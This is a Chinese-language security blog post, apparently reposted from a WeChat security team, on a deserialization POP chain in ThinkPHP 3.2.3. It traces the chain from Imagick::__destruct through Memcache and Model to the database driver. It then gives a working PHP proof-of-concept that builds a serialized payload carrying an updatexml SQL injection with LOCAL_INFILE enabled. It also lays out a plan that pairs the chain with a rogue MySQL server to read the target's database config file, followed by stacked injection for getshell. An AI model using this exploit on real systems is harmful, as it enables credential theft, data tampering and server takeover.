ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

  • A+
所属分类:安全文章

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

测试环境

  • OS: MAC OS

  • PHP: 5.4.45

  • ThinkPHP: 3.2.3

环境搭建

直接在Web目录下Composer一把梭。

composer create-project topthink/thinkphp=3.2.3 tp3

然后访问首页


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的Action即可。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


POP链分析

起点

全局搜索function __destruct(,找一个起点。


文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


这里的$this->img可控,且调用了$this->imgdestroy()


跳板1

这时候我们需要一个有destroy()成员方法的一个跳板类,还是一样全局搜索function destroy(,成功找到一个可用的跳板类。


文件:/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


这里的destroy()方法需要传入一个$sessID,但是前面Imagick::__destruct中调用destroy()方法的时候并没有传值。


这里踩了下坑,因为在PHP7下起的ThinkPHP框架在这种情况下(调用有参函数时不传参数)会触发框架里的错误处理,从而报错。这块暂时没细究。


切换到PHP5继续往下分析。这里的$this->handle可控,并且调用了$this->handledelete()方法,且传过去的参数是部分可控的,因此我们可以继续寻找有delete()方法的跳板类。


跳板2

全局搜索function delete(,找到一个Model类。


文件:/ThinkPHP/Library/Think/Model.class.php


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


这里的$pk其实就是$this->pk,是完全可控的。


下面的$options是从跳板1传过来的,在跳板1中可以控制其是否为空。$this->options['where']是成员属性,是可控的,因此506行的条件我们可以控制,且508行的条件我们也是可以控制的。


所以我们可以控制程序走到509行。


509中又调用了一次自己$this->delete(),但是这时候的参数$this->data[$pk]是我们可控的。


这时delete()我们就可以成功带可控参数访问了。


这时候熟悉ThinkPHP的师傅们就应该懂了。这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去,也就是558行。且上面的一堆条件判断很显然都是我们可以控制的包括调用$this->db->delete($options)时的$options参数我们也可以控制。


那么这时候我们就可以调用任意自带的数据库类中的delete()方法了。


终点

文件:/ThinkPHP/Library/Think/Db/Driver.class.php


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


上面已经说过了,这边的参数是完全可控的,所以这里的$table是可控的,将$table拼接到$sql传入了$this->execute()


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


这里有一个初始化数据库链接的地方,跟过去看看。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


可以通过控制成员属性,使程序调用到$this->connect()


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


可以看到这里是去使用$this->config里的配置去创建了数据库连接,接着去执行前面拼接的DELETESQL语句。


到此,我们就找到了一条可以连接任意数据库的POP链。


漏洞利用

此POP链的正常利用过程应该是:

  1. 通过某处leak出目标的数据库配置

  2. 触发反序列化

  3. 触发链中DELETE语句的SQL注入

但是如果只是这样,那么这个链子其实十分鸡肋。但是因为这里可以连接任意数据库,于是我想到了MySQL恶意服务端读取客户端文件漏洞
这样的话,利用过程就变成了:

  1. 通过某处leak出目标的WEB目录(e.g. DEBUG页面)

  2. 开启恶意MySQL恶意服务端设置读取的文件为目标的数据库配置文件

  3. 触发反序列化

  4. 触发链中PDO连接的部分

  5. 获取到目标的数据库配置

  6. 使用目标的数据库配置再次出发反序列化

  7. 触发链中DELETE语句的SQL注入


POC:

<?php
namespace ThinkDbDriver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}

namespace ThinkImageDriver{
use ThinkSessionDriverMemcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace ThinkSessionDriver{
use ThinkModel;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use ThinkDbDriverMysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new ThinkImageDriverImagick()));
}


利用过程

开启恶意MySQL服务器,设置读取文件为目标的数据库配置文件。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


接着将POC中的数据库连接配置改成恶意MySQL服务器的ip和端口。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


使用POC运行后的结果去触发反序列化。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


成功触发MySQL恶意服务端读取客户端文件漏洞。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


将POC中的数据库连接配置替换为目标的数据库配置,且修改需要注入的SQL语句。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


使用POC运行后的结果去触发反序列化。


ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链


成功完成SQL注入,而且因为ThinkPHP v3.2.*默认使用的是PDO驱动来实现的数据库类,因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的。
也就是说这里可以使用导出数据库日志等手段实现Getshell,或者使用UPDATE语句插入数据进数据库内等操作。


结尾

因为这里已经可以调用任意数据库类(不止MySQL)了,但是笔主目前只想到这种利用方式,如果有其他更骚的利用方式也欢迎各位大师傅们一起来交流分享。


引用链接

ThinkPHP3.2.3完全开发手册:https://www.kancloud.cn/manual/thinkphp/1678



本文始发于微信公众号(米斯特安全团队):ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: